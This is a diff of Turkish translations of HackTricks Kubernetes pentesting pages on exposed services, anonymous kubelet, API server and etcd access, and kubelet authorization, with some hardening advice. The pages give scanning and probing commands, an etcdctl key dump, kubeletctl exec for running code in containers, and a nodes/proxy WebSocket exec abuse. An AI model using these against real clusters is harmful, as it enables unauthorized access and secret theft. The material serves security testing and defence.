eksik coverage. -- `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies veya exception resources üzerinde write access. -- Validation’dan önce containers enjekte eden, images değiştiren, secrets mount eden, tolerations ekleyen veya service account seçimini değiştiren malicious bir mutating webhook. +- Kullanıcıların kendi object’lerine opt-out label eklemesine izin veren bir `objectSelector`. +- Güvenlik açısından kritik validation üzerinde `failurePolicy: Ignore`, özellikle webhook Service’in endpoint’leri yoksa veya networking güvenilir değilse. +- Kullanıcılar, gruplar, service account’lar, namespace’ler veya role’ler için amaçlanandan daha geniş policy engine exceptions. +- Workload controller template’leri, `pods/ephemeralcontainers`, `pods/exec`, custom resources veya update işlemleri için eksik coverage. +- `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policy’leri veya exception resource’ları üzerinde yazma erişimi. +- Validation’dan önce container enjekte eden, image’ları değiştiren, secrets mount eden, toleration ekleyen veya service account seçimini değiştiren malicious bir mutating webhook. -Unutmayın, admission yalnızca API server admission chain’inden geçen requests’i korur. Static Pods, node-local runtime socket access, direct kubelet abuse ve direct etcd access farklı trust path’lerdir ve ayrı hardening ile monitoring gerektirir. +Unutmayın, admission yalnızca API server admission chain’inden geçen istekleri korur. Static Pod’lar, node-local runtime socket erişimi, doğrudan kubelet abuse ve doğrudan etcd erişimi farklı trust path’lerdir ve ayrı hardening ile monitoring gerektirir. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -166,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) - [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) - [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/) +- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index b71987259..0352f551e 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,33 +2,33 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes, **genellikle Internete açık** ya da **bir pod’u ele geçirdikten sonra iç network içinde** karşılaşabileceğiniz birkaç **özel network service** kullanır. +Kubernetes çeşitli **özel network services** kullanır; bunları **Internet’e açık** olarak veya **bir pod’u compromise ettikten sonra internal network içinde** bulabilirsiniz. ## OSINT ile exposed pod’ları bulma -Bir yöntem, kubernetes ile ilgili subdomain’leri bulmak için [crt.sh](https://crt.sh) üzerinde `Identity LIKE "k8s.%.com"` araması yapmak olabilir. Başka bir yöntem de github içinde `"k8s.%.com"` arayıp bu string’i içeren **YAML dosyaları** bulmaktır. +Bir yol, kubernetes ile ilişkili subdomain’leri bulmak için [crt.sh](https://crt.sh) içinde `Identity LIKE "k8s.%.com"` araması yapmak olabilir. Başka bir yol da github içinde `"k8s.%.com"` aramak ve bu string’i içeren **YAML files** aramaktır. -Tarama yapmadan önce ilişkilendirmek için faydalı dış recon sinyalleri: +Scanning öncesi korelasyon için faydalı external recon sinyalleri: -- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` veya bölge adlarını içeren DNS ve certificate transparency adları. -- Açıkta bir application veya platform UI’ını bir cluster’a bağlayabilen cloud load balancer adları, CNAME’ler, tag’ler ve provider hostname’leri. -- Public repository’ler, CI log’ları, Helm values, Terraform state, render edilmiş manifestler, container image’ları ve kubeconfig, API server URL’leri, namespace’ler, service account’lar, `type: LoadBalancer`, `type: NodePort`, Ingress host’lar, Gateway listener’ları veya dashboard ayarları sızdıran dokümantasyon. -- Cloud credentials kapsam içindeyse, managed Kubernetes inventory: EKS endpoint public/private access ve public CIDR’lar, GKE public/private control-plane ayarları ve authorized networks, AKS private cluster/API server authorized IP ayarları. -- Cluster çevresindeki açık platform araçları; örneğin Argo CD, Prometheus, Grafana, Harbor, registry’ler, CI/CD dashboard’ları, service mesh dashboard’ları ve ingress-controller admin veya metrics endpoint’leri. +- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` veya region adlarını içeren DNS ve certificate transparency isimleri. +- Bir exposed application veya platform UI’ını bir cluster’a bağlayabilen cloud load balancer isimleri, CNAME’ler, tags ve provider hostnames. +- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images ve kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners veya dashboard ayarlarını leak eden documentation. +- Scope içinde cloud credentials varsa managed Kubernetes inventory: EKS endpoint public/private access ve public CIDRs, GKE public/private control-plane ayarları ve authorized networks, AKS private cluster/API server authorized IP ayarları. +- Cluster etrafındaki exposed platform araçları; Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards ve ingress-controller admin veya metrics endpoints. -Bunları attribution ve önceliklendirme ipuçları olarak değerlendirin. Public bir Ingress application birçok cluster’da normaldir; buna karşılık exposed kubelet, etcd, dashboard, CI/CD deploy control veya sızdırılmış kubeconfig materyali çok daha yüksek önceliklendirilmelidir. +Bunları attribution ve önceliklendirme ipuçları olarak değerlendirin. Public bir Ingress application birçok cluster’da normaldir; buna karşın exposed kubelet, etcd, dashboard, CI/CD deploy control veya leak olmuş kubeconfig materyali çok daha yüksek önceliklendirilmelidir. ## Kubernetes Hizmetleri Nasıl Expose Eder -Bunları bulmak için Kubernetes’in hizmetleri **nasıl public olarak expose edebildiğini** anlamanız faydalı olabilir: +Bunları bulmak için Kubernetes’in services’i nasıl **public olarak expose edebildiğini** anlamak faydalı olabilir: {{#ref}} ../exposing-services-in-kubernetes.md {{#endref}} -## Port taraması ile Exposed pod’ları bulma +## Port scanning ile Exposed pod’ları bulma -Bir Kubernetes cluster’ında aşağıdaki portlar açık olabilir: +Aşağıdaki portlar bir Kubernetes cluster’ında açık olabilir: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | @@ -38,13 +38,13 @@ Bir Kubernetes cluster’ında aşağıdaki portlar açık olabilir: | 4194/TCP | cAdvisor | Container metrics | | 6443/TCP | kube-apiserver | Kubernetes API port | | 8443/TCP | kube-apiserver | Minikube API port | -| 8080/TCP | kube-apiserver | Güvensiz API portu | -| 10250/TCP | kubelet | Full mode erişimine izin veren HTTPS API | -| 10255/TCP | kubelet | Kimlik doğrulamasız salt-okunur HTTP portu: pods, çalışan pods ve node durumu | +| 8080/TCP | kube-apiserver | Insecure API port | +| 10250/TCP | kubelet | Full mode access sağlayan HTTPS API | +| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods ve node state | | 10256/TCP | kube-proxy | Kube Proxy health check server | | 9099/TCP | calico-felix | Calico için health check server | | 6782-4/TCP | weave | Metrics ve endpoints | -| 30000-32767/TCP | NodePort | services için proxy | +| 30000-32767/TCP | NodePort | services’e proxy | | 44134/TCP | Tiller | Helm service listening | ### Nmap @@ -55,13 +55,13 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 Bu, yöneticilerin genellikle **`kubectl`** aracıyla iletişim kurduğu **API Kubernetes service**’idir. -**Yaygın portlar: 6443 ve 443**, ayrıca minikube’de 8443 ve insecure olarak 8080. +**Yaygın portlar: 6443 ve 443**, ayrıca minikube’da 8443 ve insecure olarak 8080. ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Bu servise konuşarak hassas verileri nasıl elde edeceğinizi ve hassas eylemleri nasıl gerçekleştireceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin:** +**Bu servisle konuşarak hassas verileri nasıl elde edeceğinizi ve hassas işlemleri nasıl gerçekleştireceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin:** {{#ref}} ../kubernetes-enumeration.md @@ -69,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Bu servis **kümedeki her node üzerinde çalışır**. **Node** içindeki pod'ları **kontrol edecek** olan servistir. **kube-apiserver** ile konuşur. +Bu servis kümenin her **node**'unda **çalışır**. Bu, **node** içindeki **pods**'ları **kontrol** edecek servistir. **kube-apiserver** ile iletişim kurar. -Eğer bu servisin dışa açık olduğunu bulursanız, bir **kimlik doğrulamasız RCE** bulmuş olabilirsiniz. +Bu servisin açıkta olduğunu bulursanız, **kimlik doğrulamasız RCE** bulmuş olabilirsiniz. #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -Eğer yanıt `Unauthorized` ise kimlik doğrulama gerekir. +Eğer yanıt `Unauthorized` ise bu, kimlik doğrulama gerektirir. -Eğer node'ları listeleyebiliyorsanız, kubelets endpoint'lerinin listesini şu şekilde alabilirsiniz: +Eğer nodes listesini alabiliyorsan, kubelets endpoints listesini şu şekilde alabilirsin: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -104,25 +104,25 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -Bu service'i Kubernetes içinde privilege escalation yapmak için abuse edebilirsiniz: +Bu service'i Kubernetes içinde yetki yükseltmek için abuse edebilirsiniz: ### cAdvisor -Metrics toplamak için kullanışlı bir service. +Metrics toplamak için useful olan service. ```bash curl -k https://:4194 ``` ### NodePort -Bir port tüm node’larda bir **NodePort** aracılığıyla expose edildiğinde, aynı port tüm node’larda açılır ve trafiği belirtilen **Service**’e proxify eder. Varsayılan olarak bu port **30000-32767** aralığında olur. Bu yüzden yeni kontrol edilmemiş services bu portlar üzerinden erişilebilir olabilir. +Bir port, tüm node'larda bir **NodePort** aracılığıyla expose edildiğinde, aynı port tüm node'larda açılır ve trafiği belirtilen **Service** içine proxify eder. Varsayılan olarak bu port **30000-32767** aralığında olacaktır. Bu yüzden yeni kontrol edilmemiş services bu portlar üzerinden erişilebilir olabilir. ```bash sudo nmap -sS -p 30000-32767 ``` -### Service mesh ve proxy surfaces +### Service mesh ve proxy yüzeyleri -**Istio, Linkerd, Cilium service mesh veya Envoy-based gateways** kullanan cluster'lar, enumerate edilecek başka bir service layer ekler. Bir mesh; mTLS, workload identity, L7 routing, authorization policy, telemetry ve gateway/egress controls sağlayabilir, ancak yalnızca gerçekten mesh'e kayıtlı ve mesh tarafından intercepted edilen trafiği korur. +**Istio, Linkerd, Cilium service mesh veya Envoy-based gateways** kullanan cluster'lar, enumerate edilecek başka bir service layer ekler. Bir mesh, mTLS, workload identity, L7 routing, authorization policy, telemetry ve gateway/egress controls sağlayabilir, ancak yalnızca gerçekten mesh tarafından enroll edilen ve intercepted edilen traffic'i korur. -Kubernetes access üzerinden faydalı kontroller: +Kubernetes access ile yapılabilecek useful checks: ```bash kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' @@ -132,28 +132,38 @@ kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana| ``` Review: -- Injection’dan opt out etmiş Namespaces veya workloads, hâlâ proxy olmadan çalışanlar ya da injection etkinleştirilmeden önce oluşturulanlar. -- mTLS mode. Permissive migration modes unmeshed kaynaklardan hâlâ plaintext kabul edebilir. -- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, ve egress resources. -- Linkerd policy resources, identity, Server/authorization objects, ve exposed `linkerd-viz`, tap, veya metrics surfaces. -- Cilium service mesh ve Gateway API resources, Hubble visibility, Cilium policies, ve Envoy integration points. -- Envoy admin, config dump, stats, metrics, tracing, dashboard, ve debug endpoints. Bunlar route’ları, upstream’leri, certificates, identity, ve traffic state’i aşırı geniş biçimde expose edilirse leak edebilir. +- Injection'dan opt-out yapan Namespace'ler veya workloads, hala proxy olmadan çalışıyorsa ya da injection etkinleştirilmeden önce oluşturulduysa. +- mTLS mode. Permissive migration modes, unmeshed kaynaklardan hala plaintext kabul edebilir. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints ve egress resources. +- Linkerd policy resources, identity, Server/authorization objects ve exposed `linkerd-viz`, tap veya metrics surfaces. +- Cilium service mesh ve Gateway API resources, Hubble visibility, Cilium policies ve Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard ve debug endpoints. Bunlar çok geniş şekilde expose edilirse routes, upstreams, certificates, identity ve traffic state leak edebilir. -Service mesh’i Kubernetes RBAC veya NetworkPolicies için bir replacement olarak değerlendirmeyin. Bir mesh policy bir HTTP request’i engelleyebilir; ancak unmeshed bir Pod, atlanmış port, doğrudan Pod IP path’i, gateway, egress proxy, veya eksik bir NetworkPolicy yine de pratik bir route bırakabilir. +Service mesh'i Kubernetes RBAC veya NetworkPolicies için bir replacement olarak değerlendirmeyin. Bir mesh policy bir HTTP request'i block edebilir; ancak unmeshed bir Pod, skipped bir port, direct Pod IP path, gateway, egress proxy veya missing NetworkPolicy pratikte hala bir route bırakabilir. ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: +Anonymous access, **kube-apiserver resource APIs için izinli olmamalıdır**. `/livez`, `/readyz` ve `/healthz` gibi health endpoints bilerek reachable olabilir; özellikle API server `AuthenticationConfiguration` kullanarak anonymous requests'i belirli paths ile sınırlıyorsa. Health veya version responses'u reachability evidence olarak değerlendirin; kritik sorun, valid credentials olmadan namespaces, Secrets, Pods, RBAC objects, metrics, logs veya proxy subresources gibi gerçek resource APIs için `200` response alınmasıdır. ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) +Useful checks: +```bash +APISERVER='https://:6443' +curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez" +curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz" +curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces" +curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles" +``` +Eğer resource API’leri `403` döndürüyorsa, API server isteği `system:anonymous` olarak sınıflandırmış olabilir ancak authorization bunu engellemiştir. Eğer resource API’leri credentials olmadan `200` döndürüyorsa, `system:anonymous` veya `system:unauthenticated` için RoleBindings ya da ClusterRoleBindings, permissive authorizer-chain yapılandırması veya front-door authentication hatası olup olmadığını kontrol edin. + ### **Checking for ETCD Anonymous Access** -ETCD cluster secrets, configuration files ve daha fazla **sensitive data** saklar. **Default** olarak, ETCD’ye **anonymously** erişilemez, ama yine de kontrol etmek her zaman iyidir. +ETCD, cluster secrets, configuration files ve daha fazla **sensitive data** saklar. **By default**, ETCD’ye **anonim** olarak erişilemez, ancak yine de her zaman kontrol etmek iyidir. -If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: +ETCD’ye anonim olarak erişilebiliyorsa, [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**unu kullanmanız gerekebilir. Aşağıdaki command, depolanan tüm keys’i alacaktır: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` @@ -161,15 +171,15 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) **varsayılan olarak anonim erişimin** servise **izin verildiğini** açıklar: -> Kubelet server’ına anonim istekleri etkinleştirir. Başka bir authentication method tarafından reddedilmeyen istekler anonim istekler olarak işlenir. Anonim isteklerin `system:anonymous` kullanıcı adı ve `system:unauthenticated` grup adı vardır +> Kubelet server’a anonim requests’i etkinleştirir. Başka bir authentication yöntemi tarafından reddedilmeyen requests, anonim requests olarak değerlendirilir. Anonim requests’in username’i `system:anonymous`, group name’i ise `system:unauthenticated` olur -**Kubelet API’sinin authentication ve authorization’ının nasıl çalıştığını** daha iyi anlamak için bu sayfayı kontrol edin: +**Kubelet API’nin authentication ve authorization’ının nasıl çalıştığını** daha iyi anlamak için bu sayfayı kontrol et: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -**Kubelet** servisi **API belgelenmemiştir**, ancak source code burada bulunabilir ve exposed endpoints’i bulmak şu kadar kolaydır: **çalıştırmak**: +**Kubelet** servisi **API’si documented değildir**, ancak source code burada bulunabilir ve exposed endpoints’i bulmak **çalıştırmak** kadar kolaydır: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -181,30 +191,30 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -Hepsi ilginç geliyor. +Hepsi ilginç görünüyor. -Kubelets ve endpoint'leriyle etkileşim kurmak için [**Kubeletctl**](https://github.com/cyberark/kubeletctl) aracını kullanabilirsiniz. +Kubelet'lerle ve onların endpoint'leriyle etkileşim kurmak için [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool'unu kullanabilirsiniz. #### /pods -Bu endpoint, pod'ları ve onların container'larını listeler: +Bu endpoint, pods ve onların container'larını listeler: ```bash kubeletctl pods ``` #### /exec -Bu endpoint, herhangi bir container içinde kodu çok kolay bir şekilde execute etmeye izin verir: +Bu endpoint, herhangi bir container içinde code çalıştırmayı çok kolay şekilde sağlar: ```bash kubeletctl exec [command] ``` > [!NOTE] > Bu saldırıyı önlemek için _**kubelet**_ servisi `--anonymous-auth false` ile çalıştırılmalı ve servis ağ seviyesinde ayrıştırılmalıdır. -### **Kubelet (Read Only Port) Bilgi Açığının Kontrol Edilmesi** +### **Kubelet (Read Only Port) Bilgi Açığa Çıkarmasının Kontrol Edilmesi** -Bir **kubelet read-only port** açığa çıktığında, yetkisiz tarafların API'den bilgi alması mümkün hale gelir. Bu portun açığa çıkması, çeşitli **cluster configuration** öğelerinin ifşasına yol açabilir. **pod names, internal files locations ve diğer configurations** dahil olmak üzere bilgiler kritik olmasa da, yine de bunların açığa çıkması bir güvenlik riski oluşturur ve bundan kaçınılmalıdır. +Bir **kubelet read-only port** açığa çıktığında, yetkisiz tarafların API’den bilgi alması mümkün hale gelir. Bu portun açığa çıkması, çeşitli **cluster configuration elements**’in ifşasına yol açabilir. **pod isimleri, iç dosyaların konumları ve diğer konfigürasyonlar** gibi bilgiler kritik olmasa da, bunların açığa çıkması yine de bir güvenlik riski oluşturur ve önlenmelidir. -Bu zafiyetin nasıl sömürülebileceğine bir örnek, uzak bir saldırganın belirli bir URL'ye erişmesidir. `http://:10255/pods` adresine giderek, saldırgan kubelet'ten potansiyel olarak hassas bilgi alabilir: +Bu zafiyetin nasıl istismar edilebileceğine dair bir örnek, uzaktaki bir saldırganın belirli bir URL’ye erişmesini içerir. `http://:10255/pods` adresine giderek, saldırgan kubelet’ten hassas bilgileri potansiyel olarak elde edebilir: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index f948b71e4..e9e48be36 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,4 +1,4 @@ -# Kubelet Kimlik Doğrulama & Yetkilendirme +# Kubelet Authentication & Authorization {{#include ../../../banners/hacktricks-training.md}} @@ -6,20 +6,20 @@ [**Dokümanlardan:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Varsayılan olarak, diğer yapılandırılmış kimlik doğrulama yöntemleri tarafından reddedilmeyen kubelet'in HTTPS uç noktasına yapılan istekler anonim istekler olarak muamele görür ve **kullanıcı adı `system:anonymous`** ve **grup `system:unauthenticated`** verilir. +Varsayılan olarak, kubelet'in HTTPS endpoint'ine gelen ve diğer yapılandırılmış authentication yöntemleri tarafından reddedilmeyen istekler anonymous istekler olarak ele alınır ve **`system:anonymous` kullanıcı adı** ile **`system:unauthenticated` grup** verilir. -Kimlik doğrulama için **3** **yöntem** şunlardır: +**3** authentication **method** şunlardır: -- **Anonymous** (varsayılan): Parametreyi **`--anonymous-auth=true`** olarak ayarlayın veya yapılandırmayı kullanın: +- **Anonymous** (default): **`--anonymous-auth=true`** parametresini veya config'i kullanın: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Bu, kubectl **API bearer tokens**'ı yetkilendirme için **etkinleştirecek** (geçerli herhangi bir token geçerli sayılacaktır). Bunu şu şekilde etkinleştirin: -- API sunucusunda `authentication.k8s.io/v1beta1` API grubunun etkin olduğundan emin olun -- kubelet'i **`--authentication-token-webhook`** ve **`--kubeconfig`** bayraklarıyla başlatın veya aşağıdaki ayarı kullanın: +- **Webhook**: Bu, kubectl **API bearer tokens** için authorization’ı **enable** eder (geçerli herhangi bir token valid olacaktır). Şu şekilde allow edin: +- `authentication.k8s.io/v1beta1` API group’unun API server içinde enabled olduğundan emin olun +- kubelet’i **`--authentication-token-webhook`** ve **`--kubeconfig`** flag’leriyle başlatın veya aşağıdaki setting’i kullanın: ```json "authentication": { "webhook": { @@ -28,11 +28,11 @@ Kimlik doğrulama için **3** **yöntem** şunlardır: }, ``` > [!NOTE] -> kubelet, yapılandırılmış API server üzerinde **`TokenReview` API** çağrısı yapar ve bearer token'lerden **kullanıcı bilgilerini belirler** - -- **X509 client certificates:** X509 client certs ile kimlik doğrulamasına izin verir -- Daha fazla ayrıntı için [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) -- kubelet'i `--client-ca-file` bayrağı ile başlatın; istemci sertifikalarını doğrulamak için bir CA paketi sağlayın. Veya yapılandırma ile: +> Kubelet, bearer tokenlardan **kullanıcı bilgilerini belirlemek** için yapılandırılmış API server üzerinde **`TokenReview` API** çağrısı yapar + +- **X509 client certificates:** X509 client certs ile authenticate etmeye izin verir +- Daha fazla ayrıntı için [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) bölümüne bakın +- Kubelet'i `--client-ca-file` flag'i ile başlatın ve client certificates'ları doğrulamak için bir CA bundle sağlayın. Ya da config ile: ```json "authentication": { "x509": { @@ -40,16 +40,16 @@ Kimlik doğrulama için **3** **yöntem** şunlardır: } } ``` -## Kubelet Yetkilendirmesi +## Kubelet Authorization -Başarıyla kimlik doğrulanan (anonim bir istek dahil) her istek **daha sonra yetkilendirilir**. Varsayılan yetkilendirme modu **`AlwaysAllow`**'dır; bu da **tüm isteklere izin verir**. +Başarıyla authenticate edilen herhangi bir request (anonymous bir request dahil) **sonrasında authorize edilir**. **Default** authorization modu **`AlwaysAllow`**'dur ve bu mod **tüm request'lere izin verir**. -Ancak diğer olası değer **`webhook`** (dışarıda **çoğunlukla bununla karşılaşacaksınız**). Bu mod, bir eyleme izin verip vermemeye karar vermek için **kimliği doğrulanmış kullanıcının izinlerini denetler**. +Ancak, diğer olası değer **`webhook`**'tur (ve dışarıda **çoğunlukla bunu bulacaksınız**). Bu mod, bir action'a izin vermek veya vermemek için **authenticated user'ın permissions**'larını kontrol eder. > [!WARNING] -> Şunu unutmayın: **anonim kimlik doğrulama etkin olsa bile**, **anonim erişimin** herhangi bir eylemi gerçekleştirmek için **herhangi bir izni olmayabilir**. +> **anonymous authentication etkin olsa bile**, **anonymous access** herhangi bir action gerçekleştirmek için **hiçbir permission**'a sahip olmayabilir. -Webhook aracılığıyla yetkilendirme, **parametre `--authorization-mode=Webhook`** kullanılarak veya yapılandırma dosyasıyla şu şekilde yapılandırılabilir: +Webhook üzerinden authorization, **param `--authorization-mode=Webhook`** kullanılarak veya config file ile şu şekilde yapılandırılabilir: ```json "authorization": { "mode": "Webhook", @@ -59,11 +59,11 @@ Webhook aracılığıyla yetkilendirme, **parametre `--authorization-mode=Webhoo } }, ``` -Kubelet, yapılandırılmış API sunucusunda **`SubjectAccessReview`** API'sini çağırarak her isteğin **yetkilendirilmiş** olup olmadığını **belirler.** +Kubelet, her bir isteğin **yetkilendirilmiş** olup olmadığını **belirlemek** için yapılandırılmış API server üzerinde **`SubjectAccessReview`** API’sini çağırır. -Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) yaklaşımını kullanarak API isteklerini yetkilendirir: +Kubelet, API isteklerini apiserver ile aynı [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) yaklaşımını kullanarak yetkilendirir: -- **Eylem** +- **Action** | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -73,7 +73,7 @@ Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/ref | PATCH | patch | | DELETE | delete (for individual resources), deletecollection (for collections) | -- Kubelet API ile konuşan **resource** her zaman **nodes**'tır ve **subresource**, gelen isteğin yolundan **belirlenir**: +- Kubelet api ile konuşan **resource** her zaman **nodes** olur ve **subresource**, gelen isteğin path’inden **belirlenir**: | Kubelet API | resource | subresource | | ------------ | -------- | ----------- | @@ -81,23 +81,38 @@ Kubelet, apiserver ile aynı [request attributes](https://kubernetes.io/docs/ref | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | +| /checkpoint/\* | nodes | checkpoint | | _all others_ | nodes | proxy | -> [!NOTE] -> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. +Modern cluster’larda, ayrıntılı kubelet yetkilendirmesi varsayılan olarak etkinleştirilmiştir. Kubernetes v1.36 bunu stabil hale getirdi: kubelet, geriye dönük uyumluluk için `nodes/proxy`’ye geri düşmeden önce `/pods`, `/runningPods`, `/healthz` ve `/configz` gibi path’ler için daha spesifik subresource’ları kontrol eder. -Örneğin, aşağıdaki istek kubelet'in pod bilgilerine izin olmadan erişmeye çalıştı: +| Kubelet API | preferred subresource | fallback | +| ----------- | --------------------- | -------- | +| /pods | nodes/pods | nodes/proxy | +| /runningPods/ | nodes/pods | nodes/proxy | +| /healthz | nodes/healthz | nodes/proxy | +| /configz | nodes/configz | nodes/proxy | + +Mümkün olduğunda monitoring ve diagnostics için bu daha dar subresource’ları kullanın. Sıradan metrics, stats, health, pod-listing veya config review için geniş `nodes/proxy` yetkisi vermekten kaçının; çünkü `nodes/proxy`, daha yüksek etkiye sahip kubelet API’lerini de kapsar. + +> [!NOTE] +> WebSocket tabanlı `/exec`, `/run`, `/attach`, ve `/portforward` varsayılan **proxy** subresource’una girer ve ilk HTTP **GET** handshake’i kullanılarak yetkilendirilir. Sadece `nodes/proxy` **GET** yetkisine sahip bir principal, `https://:10250` adresine doğrudan WebSockets üzerinden bağlanırsa yine de container’larda exec yapabilir. Ayrıntılar için [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) bölümüne bakın. + +Kubelet Checkpoint API (`POST /checkpoint///`) başka bir hassas kubelet yüzeyidir. Kubernetes v1.30, container checkpointing’i beta hale getirdi ve varsayılan olarak etkinleştirdi; ancak bir istek yine de kubelet yetkilendirmesine ve CRI-O veya checkpoint/CRIU capability’ye sahip containerd gibi runtime desteğine bağlıdır. Başarılı checkpoint’ler kubelet root directory altında yazılır; varsayılan olarak `/var/lib/kubelet/checkpoints` ve process memory içinde token, key veya application secret içerebilir. `nodes/checkpoint` yetkisini kısıtlayın, eski read-only port’u devre dışı bırakın, doğrudan kubelet network reachability’yi sınırlayın ve feature kasıtlı olarak kullanılıyorsa checkpoint archive’larını izleyin veya temizleyin. + +Örneğin, aşağıdaki istek izin olmadan kubelet’in pods bilgisine erişmeye çalıştı: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Bir **Forbidden** aldık; bu, isteğin **kimlik doğrulama kontrolünü geçtiğini** gösteriyor. Aksi takdirde yalnızca `Unauthorised` mesajı alırdık. -- **username**'ı görebiliyoruz (bu durumda token'dan). -- **resource**'un **nodes** ve 